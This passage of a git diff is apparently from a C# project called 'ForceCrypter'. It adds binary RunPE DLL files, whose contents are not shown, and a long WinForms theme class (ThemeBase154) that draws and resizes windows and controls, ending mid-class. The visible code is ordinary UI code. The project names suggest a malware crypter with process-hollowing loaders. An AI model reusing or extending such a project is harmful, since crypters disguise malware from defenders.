0000000..7c32bbd Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE5.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE6.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE6.dll new file mode 100644 index 0000000..fb3d1f9 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE6.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE7.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE7.dll new file mode 100644 index 0000000..302964c Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE7.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE8.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE8.dll new file mode 100644 index 0000000..915b54b Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE8.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/RunPE9.dll b/C# (ForceCrypter/ForceCrypterSmall/RunPE9.dll new file mode 100644 index 0000000..91ee357 Binary files /dev/null and b/C# (ForceCrypter/ForceCrypterSmall/RunPE9.dll differ diff --git a/C# (ForceCrypter/ForceCrypterSmall/ThemeBase154.cs b/C# (ForceCrypter/ForceCrypterSmall/ThemeBase154.cs new file mode 100644 index 0000000..607f705 --- /dev/null +++ b/C# (ForceCrypter/ForceCrypterSmall/ThemeBase154.cs @@ -0,0 +1,2437 @@ + + +using System; +using System.Collections.Generic; +using System.IO; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.ComponentModel; +using System.Windows.Forms; +using System.Runtime.InteropServices; +using System.Drawing.Imaging; + +//------------------ +//Creator: aeonhack +//Site: elitevs.net +//Created: 08/02/2011 +//Changed: 12/06/2011 +//Version: 1.5.4 +//------------------ + +abstract class ThemeContainer154 : ContainerControl +{ + + #region " Initialization " + + protected Graphics G; + + protected Bitmap B; + public ThemeContainer154() + { + SetStyle((ControlStyles)139270, true); + + _ImageSize = Size.Empty; + Font = new Font("Verdana", 8); + + MeasureBitmap = new Bitmap(1, 1); + MeasureGraphics = Graphics.FromImage(MeasureBitmap); + + DrawRadialPath = new GraphicsPath(); + + InvalidateCustimization(); + } + + protected override sealed void OnHandleCreated(EventArgs e) + { + if (DoneCreation) + InitializeMessages(); + + InvalidateCustimization(); + ColorHook(); + + if (!(_LockWidth == 0)) + Width = _LockWidth; + if (!(_LockHeight == 0)) + Height = _LockHeight; + if (!_ControlMode) + base.Dock = DockStyle.Fill; + + Transparent = _Transparent; + if (_Transparent && _BackColor) + BackColor = Color.Transparent; + + base.OnHandleCreated(e); + } + + private bool DoneCreation; + protected override sealed void OnParentChanged(EventArgs e) + { + base.OnParentChanged(e); + + if (Parent == null) + return; + _IsParentForm = Parent is Form; + + if (!_ControlMode) + { + InitializeMessages(); + + if (_IsParentForm) + { + ParentForm.FormBorderStyle = _BorderStyle; + ParentForm.TransparencyKey = _TransparencyKey; + + if (!DesignMode) + { + ParentForm.Shown += FormShown; + } + } + + Parent.BackColor = BackColor; + } + + OnCreation(); + DoneCreation = true; + InvalidateTimer(); + } + + #endregion + + private void DoAnimation(bool i) + { + OnAnimation(); + if (i) + Invalidate(); + } + + protected override sealed void OnPaint(PaintEventArgs e) + { + if (Width == 0 || Height == 0) + return; + + if (_Transparent && _ControlMode) + { + PaintHook(); + e.Graphics.DrawImage(B, 0, 0); + } + else + { + G = e.Graphics; + PaintHook(); + } + } + + protected override void OnHandleDestroyed(EventArgs e) + { + ThemeShare.RemoveAnimationCallback(DoAnimation); + base.OnHandleDestroyed(e); + } + + private bool HasShown; + private void FormShown(object sender, EventArgs e) + { + if (_ControlMode || HasShown) + return; + + if (_StartPosition == FormStartPosition.CenterParent || _StartPosition == FormStartPosition.CenterScreen) + { + Rectangle SB = Screen.PrimaryScreen.Bounds; + Rectangle CB = ParentForm.Bounds; + ParentForm.Location = new Point(SB.Width / 2 - CB.Width / 2, SB.Height / 2 - CB.Width / 2); + } + + HasShown = true; + } + + + #region " Size Handling " + + private Rectangle Frame; + protected override sealed void OnSizeChanged(EventArgs e) + { + if (_Movable && !_ControlMode) + { + Frame = new Rectangle(7, 7, Width - 14, _Header - 7); + } + + InvalidateBitmap(); + Invalidate(); + + base.OnSizeChanged(e); + } + + protected override void SetBoundsCore(int x, int y, int width, int height, BoundsSpecified specified) + { + if (!(_LockWidth == 0)) + width = _LockWidth; + if (!(_LockHeight == 0)) + height = _LockHeight; + base.SetBoundsCore(x, y, width, height, specified); + } + + #endregion + + #region " State Handling " + + protected MouseState State; + private void SetState(MouseState current) + { + State = current; + Invalidate(); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (!(_IsParentForm && ParentForm.WindowState == FormWindowState.Maximized)) + { + if (_Sizable && !_ControlMode) + InvalidateMouse(); + } + + base.OnMouseMove(e); + } + + protected override void OnEnabledChanged(EventArgs e) + { + if (Enabled) + SetState(MouseState.None); + else + SetState(MouseState.Block); + base.OnEnabledChanged(e); + } + + protected override void OnMouseEnter(EventArgs e) + { + SetState(MouseState.Over); + base.OnMouseEnter(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + SetState(MouseState.Over); + base.OnMouseUp(e); + } + + protected override void OnMouseLeave(EventArgs e) + { + SetState(MouseState.None); + + if (GetChildAtPoint(PointToClient(MousePosition)) != null) + { + if (_Sizable && !_ControlMode) + { + Cursor = Cursors.Default; + Previous = 0; + } + } + + base.OnMouseLeave(e); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + if (e.Button == System.Windows.Forms.MouseButtons.Left) + SetState(MouseState.Down); + + if (!(_IsParentForm && ParentForm.WindowState == FormWindowState.Maximized || _ControlMode)) + { + if (_Movable && Frame.Contains(e.Location)) + { + Capture = false; + WM_LMBUTTONDOWN = true; + DefWndProc(ref Messages[0]); + } + else if (_Sizable && !(Previous == 0)) + { + Capture = false; + WM_LMBUTTONDOWN = true; + DefWndProc(ref Messages[Previous]); + } + } + + base.OnMouseDown(e); + } + + private bool WM_LMBUTTONDOWN; + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + + if (WM_LMBUTTONDOWN && m.Msg == 513) + { + WM_LMBUTTONDOWN = false; + + SetState(MouseState.Over); + if (!_SmartBounds) + return; + + if (IsParentMdi) + { + CorrectBounds(new Rectangle(Point.Empty, Parent.Parent.Size)); + } + else + { + CorrectBounds(Screen.FromControl(Parent).WorkingArea); + } + } + } + + private Point GetIndexPoint; + private bool B1; + private bool B2; + private bool B3; + private bool B4; + private int GetIndex() + { + GetIndexPoint = PointToClient(MousePosition); + B1 = GetIndexPoint.X < 7; + B2 = GetIndexPoint.X > Width - 7; + B3 = GetIndexPoint.Y < 7; + B4 = GetIndexPoint.Y > Height - 7; + + if (B1 && B3) + return 4; + if (B1 && B4) + return 7; + if (B2 && B3) + return 5; + if (B2 && B4) + return 8; + if (B1) + return 1; + if (B2) + return 2; + if (B3) + return 3; + if (B4) + return 6; + return 0; + } + + private int Current; + private int Previous; + private void InvalidateMouse() + { + Current = GetIndex(); + if (Current == Previous) + return; + + Previous = Current; + switch (Previous) + { + case 0: + Cursor = Cursors.Default; + break; + case 1: + case 2: + Cursor = Cursors.SizeWE; + break; + case 3: + case 6: + Cursor = Cursors.SizeNS; + break; + case 4: + case 8: + Cursor = Cursors.SizeNWSE; + break; + case 5: + case 7: + Cursor = Cursors.SizeNESW; + break; + } + } + + private Message[] Messages = new Message[9]; + private void InitializeMessages() + { + Messages[0] = Message.Create(Parent.Handle, 161, new IntPtr(2), IntPtr.Zero); + for (int I = 1; I <= 8; I++) + { + Messages[I] = Message.Create(Parent.Handle, 161, new IntPtr(I + 9), IntPtr.Zero); + } + } + + private void CorrectBounds(Rectangle bounds) + { + if (Parent.Width > bounds.Width) + Parent.Width = bounds.Width; + if (Parent.Height > bounds.Height) + Parent.Height = bounds.Height; + + int X = Parent.Location.X; + int Y = Parent.Location.Y; + + if (X < bounds.X) + X = bounds.X; + if (Y < bounds.Y) + Y = bounds.Y; + + int Width = bounds.X + bounds.Width; + int Height = bounds.Y + bounds.Height; + + if (X + Parent.Width > Width) + X = Width - Parent.Width; + if (Y + Parent.Height > Height) + Y = Height - Parent.Height; + + Parent.Location = new Point(X, Y); + } + + #endregion + + + #region " Base Properties " + + public override DockStyle Dock + { + get { return base.Dock; } + set + { + if (!_ControlMode) + return; + base.Dock = value; + } + } + + private bool _BackColor; + [Category("Misc")] + public override Color BackColor + { + get { return base.BackColor; } + set + { + if (value == base.BackColor) + return; + + if (!IsHandleCreated && _ControlMode && value == Color.Transparent) + { + _BackColor = true; + return; + } + + base.BackColor = value; + if (Parent != null) + { + if (!_ControlMode) + Parent.BackColor = value; + ColorHook(); + } + } + } + + public override Size MinimumSize + { + get { return base.MinimumSize; } + set + { + base.MinimumSize = value; + if (Parent != null) + Parent.MinimumSize = value; + } + } + + public override Size MaximumSize + { + get { return base.MaximumSize; } + set + { + base.MaximumSize = value; + if (Parent != null) + Parent.MaximumSize = value; + } + } + + public override string Text + { + get { return base.Text; } + set + { + base.Text = value; + Invalidate(); + } + } + + public override Font Font + { + get { return base.Font; } + set + { + base.Font = value; + Invalidate(); + } + } + + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override Color ForeColor + { + get { return Color.Empty; } + set { } + } + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override Image BackgroundImage + { + get { return null; } + set { } + } + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override ImageLayout BackgroundImageLayout + { + get { return ImageLayout.None; } + set { } + } + + #endregion + + #region " Public Properties " + + private bool _SmartBounds = true; + public bool SmartBounds + { + get { return _SmartBounds; } + set { _SmartBounds = value; } + } + + private bool _Movable = true; + public bool Movable + { + get { return _Movable; } + set { _Movable = value; } + } + + private bool _Sizable = true; + public bool Sizable + { + get { return _Sizable; } + set { _Sizable = value; } + } + + private Color _TransparencyKey; + public Color TransparencyKey + { + get + { + if (_IsParentForm && !_ControlMode) + return ParentForm.TransparencyKey; + else + return _TransparencyKey; + } + set + { + if (value == _TransparencyKey) + return; + _TransparencyKey = value; + + if (_IsParentForm && !_ControlMode) + { + ParentForm.TransparencyKey = value; + ColorHook(); + } + } + } + + private FormBorderStyle _BorderStyle; + public FormBorderStyle BorderStyle + { + get + { + if (_IsParentForm && !_ControlMode) + return ParentForm.FormBorderStyle; + else + return _BorderStyle; + } + set + { + _BorderStyle = value; + + if (_IsParentForm && !_ControlMode) + { + ParentForm.FormBorderStyle = value; + + if (!(value == FormBorderStyle.None)) + { + Movable = false; + Sizable = false; + } + } + } + } + + private FormStartPosition _StartPosition; + public FormStartPosition StartPosition + { + get + { + if (_IsParentForm && !_ControlMode) + return ParentForm.StartPosition; + else + return _StartPosition; + } + set + { + _StartPosition = value; + + if (_IsParentForm && !_ControlMode) + { + ParentForm.StartPosition = value; + } + } + } + + private bool _NoRounding; + public bool NoRounding + { + get { return _NoRounding; } + set + { + _NoRounding = value; + Invalidate(); + } + } + + private Image _Image; + public Image Image + { + get { return _Image; } + set + { + if (value == null) + _ImageSize = Size.Empty; + else + _ImageSize = value.Size; + + _Image = value; + Invalidate(); + } + } + + private Dictionary Items = new Dictionary(); + public Bloom[] Colors + { + get + { + List T = new List(); + Dictionary.Enumerator E = Items.GetEnumerator(); + + while (E.MoveNext()) + { + T.Add(new Bloom(E.Current.Key, E.Current.Value)); + } + + return T.ToArray(); + } + set + { + foreach (Bloom B in value) + { + if (Items.ContainsKey(B.Name)) + Items[B.Name] = B.Value; + } + + InvalidateCustimization(); + ColorHook(); + Invalidate(); + } + } + + private string _Customization; + public string Customization + { + get { return _Customization; } + set + { + if (value == _Customization) + return; + + byte[] Data = null; + Bloom[] Items = Colors; + + try + { + Data = Convert.FromBase64String(value); + for (int I = 0; I <= Items.Length - 1; I++) + { + Items[I].Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)); + } + } + catch + { + return; + } + + _Customization = value; + + Colors = Items; + ColorHook(); + Invalidate(); + } + } + + private bool _Transparent; + public bool Transparent + { + get { return _Transparent; } + set + { + _Transparent = value; + if (!(IsHandleCreated || _ControlMode)) + return; + + if (!value && !(BackColor.A == 255)) + { + throw new Exception("Unable to change value to false while a transparent BackColor is in use."); + } + + SetStyle(ControlStyles.Opaque, !value); + SetStyle(ControlStyles.SupportsTransparentBackColor, value); + + InvalidateBitmap(); + Invalidate(); + } + } + + #endregion + + #region " Private Properties " + + private Size _ImageSize; + protected Size ImageSize + { + get { return _ImageSize; } + } + + private bool _IsParentForm; + protected bool IsParentForm + { + get { return _IsParentForm; } + } + + protected bool IsParentMdi + { + get + { + if (Parent == null) + return false; + return Parent.Parent != null; + } + } + + private int _LockWidth; + protected int LockWidth + { + get { return _LockWidth; } + set + { + _LockWidth = value; + if (!(LockWidth == 0) && IsHandleCreated) + Width = LockWidth; + } + } + + private int _LockHeight; + protected int LockHeight + { + get { return _LockHeight; } + set + { + _LockHeight = value; + if (!(LockHeight == 0) && IsHandleCreated) + Height = LockHeight; + } + } + + private int _Header = 24; + protected int Header + { + get { return _Header; } + set + { + _Header = value; + + if (!_ControlMode) + { + Frame = new Rectangle(7, 7, Width - 14, value - 7); + Invalidate(); + } + } + } + + private bool _ControlMode; + protected bool ControlMode + { + get { return _ControlMode; } + set + { + _ControlMode = value; + + Transparent = _Transparent; + if (_Transparent && _BackColor) + BackColor = Color.Transparent; + + InvalidateBitmap(); + Invalidate(); + } + } + + private bool _IsAnimated; + protected bool IsAnimated + { + get { return _IsAnimated; } + set + { + _IsAnimated = value; + InvalidateTimer(); + } + } + + #endregion + + + #region " Property Helpers " + + protected Pen GetPen(string name) + { + return new Pen(Items[name]); + } + protected Pen GetPen(string name, float width) + { + return new Pen(Items[name], width); + } + + protected SolidBrush GetBrush(string name) + { + return new SolidBrush(Items[name]); + } + + protected Color GetColor(string name) + { + return Items[name]; + } + + protected void SetColor(string name, Color value) + { + if (Items.ContainsKey(name)) + Items[name] = value; + else + Items.Add(name, value); + } + protected void SetColor(string name, byte r, byte g, byte b) + { + SetColor(name, Color.FromArgb(r, g, b)); + } + protected void SetColor(string name, byte a, byte r, byte g, byte b) + { + SetColor(name, Color.FromArgb(a, r, g, b)); + } + protected void SetColor(string name, byte a, Color value) + { + SetColor(name, Color.FromArgb(a, value)); + } + + private void InvalidateBitmap() + { + if (_Transparent && _ControlMode) + { + if (Width == 0 || Height == 0) + return; + B = new Bitmap(Width, Height, PixelFormat.Format32bppPArgb); + G = Graphics.FromImage(B); + } + else + { + G = null; + B = null; + } + } + + private void InvalidateCustimization() + { + MemoryStream M = new MemoryStream(Items.Count * 4); + + foreach (Bloom B in Colors) + { + M.Write(BitConverter.GetBytes(B.Value.ToArgb()), 0, 4); + } + + M.Close(); + _Customization = Convert.ToBase64String(M.ToArray()); + } + + private void InvalidateTimer() + { + if (DesignMode || !DoneCreation) + return; + + if (_IsAnimated) + { + ThemeShare.AddAnimationCallback(DoAnimation); + } + else + { + ThemeShare.RemoveAnimationCallback(DoAnimation); + } + } + + #endregion + + + #region " User Hooks " + + protected abstract void ColorHook(); + protected abstract void PaintHook(); + + protected virtual void OnCreation() + { + } + + protected virtual void OnAnimation() + { + } + + #endregion + + + #region " Offset " + + private Rectangle OffsetReturnRectangle; + protected Rectangle Offset(Rectangle r, int amount) + { + OffsetReturnRectangle = new Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)); + return OffsetReturnRectangle; + } + + private Size OffsetReturnSize; + protected Size Offset(Size s, int amount) + { + OffsetReturnSize = new Size(s.Width + amount, s.Height + amount); + return OffsetReturnSize; + } + + private Point OffsetReturnPoint; + protected Point Offset(Point p, int amount) + { + OffsetReturnPoint = new Point(p.X + amount, p.Y + amount); + return OffsetReturnPoint; + } + + #endregion + + #region " Center " + + + private Point CenterReturn; + protected Point Center(Rectangle p, Rectangle c) + { + CenterReturn = new Point((p.Width / 2 - c.Width / 2) + p.X + c.X, (p.Height / 2 - c.Height / 2) + p.Y + c.Y); + return CenterReturn; + } + protected Point Center(Rectangle p, Size c) + { + CenterReturn = new Point((p.Width / 2 - c.Width / 2) + p.X, (p.Height / 2 - c.Height / 2) + p.Y); + return CenterReturn; + } + + protected Point Center(Rectangle child) + { + return Center(Width, Height, child.Width, child.Height); + } + protected Point Center(Size child) + { + return Center(Width, Height, child.Width, child.Height); + } + protected Point Center(int childWidth, int childHeight) + { + return Center(Width, Height, childWidth, childHeight); + } + + protected Point Center(Size p, Size c) + { + return Center(p.Width, p.Height, c.Width, c.Height); + } + + protected Point Center(int pWidth, int pHeight, int cWidth, int cHeight) + { + CenterReturn = new Point(pWidth / 2 - cWidth / 2, pHeight / 2 - cHeight / 2); + return CenterReturn; + } + + #endregion + + #region " Measure " + + private Bitmap MeasureBitmap; + + private Graphics MeasureGraphics; + protected Size Measure() + { + lock (MeasureGraphics) + { + return MeasureGraphics.MeasureString(Text, Font, Width).ToSize(); + } + } + protected Size Measure(string text) + { + lock (MeasureGraphics) + { + return MeasureGraphics.MeasureString(text, Font, Width).ToSize(); + } + } + + #endregion + + + #region " DrawPixel " + + + private SolidBrush DrawPixelBrush; + protected void DrawPixel(Color c1, int x, int y) + { + if (_Transparent) + { + B.SetPixel(x, y, c1); + } + else + { + DrawPixelBrush = new SolidBrush(c1); + G.FillRectangle(DrawPixelBrush, x, y, 1, 1); + } + } + + #endregion + + #region " DrawCorners " + + + private SolidBrush DrawCornersBrush; + protected void DrawCorners(Color c1, int offset) + { + DrawCorners(c1, 0, 0, Width, Height, offset); + } + protected void DrawCorners(Color c1, Rectangle r1, int offset) + { + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset); + } + protected void DrawCorners(Color c1, int x, int y, int width, int height, int offset) + { + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)); + } + + protected void DrawCorners(Color c1) + { + DrawCorners(c1, 0, 0, Width, Height); + } + protected void DrawCorners(Color c1, Rectangle r1) + { + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height); + } + protected void DrawCorners(Color c1, int x, int y, int width, int height) + { + if (_NoRounding) + return; + + if (_Transparent) + { + B.SetPixel(x, y, c1); + B.SetPixel(x + (width - 1), y, c1); + B.SetPixel(x, y + (height - 1), c1); + B.SetPixel(x + (width - 1), y + (height - 1), c1); + } + else + { + DrawCornersBrush = new SolidBrush(c1); + G.FillRectangle(DrawCornersBrush, x, y, 1, 1); + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1); + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1); + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1); + } + } + + #endregion + + #region " DrawBorders " + + protected void DrawBorders(Pen p1, int offset) + { + DrawBorders(p1, 0, 0, Width, Height, offset); + } + protected void DrawBorders(Pen p1, Rectangle r, int offset) + { + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset); + } + protected void DrawBorders(Pen p1, int x, int y, int width, int height, int offset) + { + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)); + } + + protected void DrawBorders(Pen p1) + { + DrawBorders(p1, 0, 0, Width, Height); + } + protected void DrawBorders(Pen p1, Rectangle r) + { + DrawBorders(p1, r.X, r.Y, r.Width, r.Height); + } + protected void DrawBorders(Pen p1, int x, int y, int width, int height) + { + G.DrawRectangle(p1, x, y, width - 1, height - 1); + } + + #endregion + + #region " DrawText " + + private Point DrawTextPoint; + + private Size DrawTextSize; + protected void DrawText(Brush b1, HorizontalAlignment a, int x, int y) + { + DrawText(b1, Text, a, x, y); + } + protected void DrawText(Brush b1, string text, HorizontalAlignment a, int x, int y) + { + if (text.Length == 0) + return; + + DrawTextSize = Measure(text); + DrawTextPoint = new Point(Width / 2 - DrawTextSize.Width / 2, Header / 2 - DrawTextSize.Height / 2); + + switch (a) + { + case HorizontalAlignment.Left: + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y); + break; + case HorizontalAlignment.Center: + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y); + break; + case HorizontalAlignment.Right: + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y); + break; + } + } + + protected void DrawText(Brush b1, Point p1) + { + if (Text.Length == 0) + return; + G.DrawString(Text, Font, b1, p1); + } + protected void DrawText(Brush b1, int x, int y) + { + if (Text.Length == 0) + return; + G.DrawString(Text, Font, b1, x, y); + } + + #endregion + + #region " DrawImage " + + + private Point DrawImagePoint; + protected void DrawImage(HorizontalAlignment a, int x, int y) + { + DrawImage(_Image, a, x, y); + } + protected void DrawImage(Image image, HorizontalAlignment a, int x, int y) + { + if (image == null) + return; + DrawImagePoint = new Point(Width / 2 - image.Width / 2, Header / 2 - image.Height / 2); + + switch (a) + { + case HorizontalAlignment.Left: + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height); + break; + case HorizontalAlignment.Center: + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height); + break; + case HorizontalAlignment.Right: + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height); + break; + } + } + + protected void DrawImage(Point p1) + { + DrawImage(_Image, p1.X, p1.Y); + } + protected void DrawImage(int x, int y) + { + DrawImage(_Image, x, y); + } + + protected void DrawImage(Image image, Point p1) + { + DrawImage(image, p1.X, p1.Y); + } + protected void DrawImage(Image image, int x, int y) + { + if (image == null) + return; + G.DrawImage(image, x, y, image.Width, image.Height); + } + + #endregion + + #region " DrawGradient " + + private LinearGradientBrush DrawGradientBrush; + + private Rectangle DrawGradientRectangle; + protected void DrawGradient(ColorBlend blend, int x, int y, int width, int height) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(blend, DrawGradientRectangle); + } + protected void DrawGradient(ColorBlend blend, int x, int y, int width, int height, float angle) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(blend, DrawGradientRectangle, angle); + } + + protected void DrawGradient(ColorBlend blend, Rectangle r) + { + DrawGradientBrush = new LinearGradientBrush(r, Color.Empty, Color.Empty, 90f); + DrawGradientBrush.InterpolationColors = blend; + G.FillRectangle(DrawGradientBrush, r); + } + protected void DrawGradient(ColorBlend blend, Rectangle r, float angle) + { + DrawGradientBrush = new LinearGradientBrush(r, Color.Empty, Color.Empty, angle); + DrawGradientBrush.InterpolationColors = blend; + G.FillRectangle(DrawGradientBrush, r); + } + + + protected void DrawGradient(Color c1, Color c2, int x, int y, int width, int height) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(c1, c2, DrawGradientRectangle); + } + protected void DrawGradient(Color c1, Color c2, int x, int y, int width, int height, float angle) + { + DrawGradientRectangle = new Rectangle(x, y, width, height); + DrawGradient(c1, c2, DrawGradientRectangle, angle); + } + + protected void DrawGradient(Color c1, Color c2, Rectangle r) + { + DrawGradientBrush = new LinearGradientBrush(r, c1, c2, 90f); + G.FillRectangle(DrawGradientBrush, r); + } + protected void DrawGradient(Color c1, Color c2, Rectangle r, float angle) + { + DrawGradientBrush = new LinearGradientBrush(r, c1, c2, angle); + G.FillRectangle(DrawGradientBrush, r); + } + + #endregion + + #region " DrawRadial " + + private GraphicsPath DrawRadialPath; + private PathGradientBrush DrawRadialBrush1; + private LinearGradientBrush DrawRadialBrush2; + + private Rectangle DrawRadialRectangle; + public void DrawRadial(ColorBlend blend, int x, int y, int width, int height) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(blend, DrawRadialRectangle, width / 2, height / 2); + } + public void DrawRadial(ColorBlend blend, int x, int y, int width, int height, Point center) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y); + } + public void DrawRadial(ColorBlend blend, int x, int y, int width, int height, int cx, int cy) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(blend, DrawRadialRectangle, cx, cy); + } + + public void DrawRadial(ColorBlend blend, Rectangle r) + { + DrawRadial(blend, r, r.Width / 2, r.Height / 2); + } + public void DrawRadial(ColorBlend blend, Rectangle r, Point center) + { + DrawRadial(blend, r, center.X, center.Y); + } + public void DrawRadial(ColorBlend blend, Rectangle r, int cx, int cy) + { + DrawRadialPath.Reset(); + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1); + + DrawRadialBrush1 = new PathGradientBrush(DrawRadialPath); + DrawRadialBrush1.CenterPoint = new Point(r.X + cx, r.Y + cy); + DrawRadialBrush1.InterpolationColors = blend; + + if (G.SmoothingMode == SmoothingMode.AntiAlias) + { + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3); + } + else + { + G.FillEllipse(DrawRadialBrush1, r); + } + } + + + protected void DrawRadial(Color c1, Color c2, int x, int y, int width, int height) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(c1, c2, DrawGradientRectangle); + } + protected void DrawRadial(Color c1, Color c2, int x, int y, int width, int height, float angle) + { + DrawRadialRectangle = new Rectangle(x, y, width, height); + DrawRadial(c1, c2, DrawGradientRectangle, angle); + } + + protected void DrawRadial(Color c1, Color c2, Rectangle r) + { + DrawRadialBrush2 = new LinearGradientBrush(r, c1, c2, 90f); + G.FillRectangle(DrawGradientBrush, r); + } + protected void DrawRadial(Color c1, Color c2, Rectangle r, float angle) + { + DrawRadialBrush2 = new LinearGradientBrush(r, c1, c2, angle); + G.FillEllipse(DrawGradientBrush, r); + } + + #endregion + + #region " CreateRound " + + private GraphicsPath CreateRoundPath; + + private Rectangle CreateRoundRectangle; + public GraphicsPath CreateRound(int x, int y, int width, int height, int slope) + { + CreateRoundRectangle = new Rectangle(x, y, width, height); + return CreateRound(CreateRoundRectangle, slope); + } + + public GraphicsPath CreateRound(Rectangle r, int slope) + { + CreateRoundPath = new GraphicsPath(FillMode.Winding); + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180f, 90f); + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270f, 90f); + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0f, 90f); + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90f, 90f); + CreateRoundPath.CloseFigure(); + return CreateRoundPath; + } + + #endregion + +} + +abstract class ThemeControl154 : Control +{ + + + #region " Initialization " + + protected Graphics G; + + protected Bitmap B; + public ThemeControl154() + { + SetStyle((ControlStyles)139270, true); + + _ImageSize = Size.Empty; + Font = new Font("Verdana", 8); + + MeasureBitmap = new Bitmap(1, 1); + MeasureGraphics = Graphics.FromImage(MeasureBitmap); + + DrawRadialPath = new GraphicsPath(); + + InvalidateCustimization(); + //Remove? + } + + protected override sealed void OnHandleCreated(EventArgs e) + { + InvalidateCustimization(); + ColorHook(); + + if (!(_LockWidth == 0)) + Width = _LockWidth; + if (!(_LockHeight == 0)) + Height = _LockHeight; + + Transparent = _Transparent; + if (_Transparent && _BackColor) + BackColor = Color.Transparent; + + base.OnHandleCreated(e); + } + + private bool DoneCreation; + protected override sealed void OnParentChanged(EventArgs e) + { + if (Parent != null) + { + OnCreation(); + DoneCreation = true; + InvalidateTimer(); + } + + base.OnParentChanged(e); + } + + #endregion + + private void DoAnimation(bool i) + { + OnAnimation(); + if (i) + Invalidate(); + } + + protected override sealed void OnPaint(PaintEventArgs e) + { + if (Width == 0 || Height == 0) + return; + + if (_Transparent) + { + PaintHook(); + e.Graphics.DrawImage(B, 0, 0); + } + else + { + G = e.Graphics; + PaintHook(); + } + } + + protected override void OnHandleDestroyed(EventArgs e) + { + ThemeShare.RemoveAnimationCallback(DoAnimation); + base.OnHandleDestroyed(e); + } + + #region " Size Handling " + + protected override sealed void OnSizeChanged(EventArgs e) + { + if (_Transparent) + { + InvalidateBitmap(); + } + + Invalidate(); + base.OnSizeChanged(e); + } + + protected override void SetBoundsCore(int x, int y, int width, int height, BoundsSpecified specified) + { + if (!(_LockWidth == 0)) + width = _LockWidth; + if (!(_LockHeight == 0)) + height = _LockHeight; + base.SetBoundsCore(x, y, width, height, specified); + } + + #endregion + + #region " State Handling " + + private bool InPosition; + protected override void OnMouseEnter(EventArgs e) + { + InPosition = true; + SetState(MouseState.Over); + base.OnMouseEnter(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + if (InPosition) + SetState(MouseState.Over); + base.OnMouseUp(e); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + if (e.Button == System.Windows.Forms.MouseButtons.Left) + SetState(MouseState.Down); + base.OnMouseDown(e); + } + + protected override void OnMouseLeave(EventArgs e) + { + InPosition = false; + SetState(MouseState.None); + base.OnMouseLeave(e); + } + + protected override void OnEnabledChanged(EventArgs e) + { + if (Enabled) + SetState(MouseState.None); + else + SetState(MouseState.Block); + base.OnEnabledChanged(e); + } + + protected MouseState State; + private void SetState(MouseState current) + { + State = current; + Invalidate(); + } + + #endregion + + + #region " Base Properties " + + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override Color ForeColor + { + get { return Color.Empty; } + set { } + } + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override Image BackgroundImage + { + get { return null; } + set { } + } + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never), DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override ImageLayout BackgroundImageLayout + { 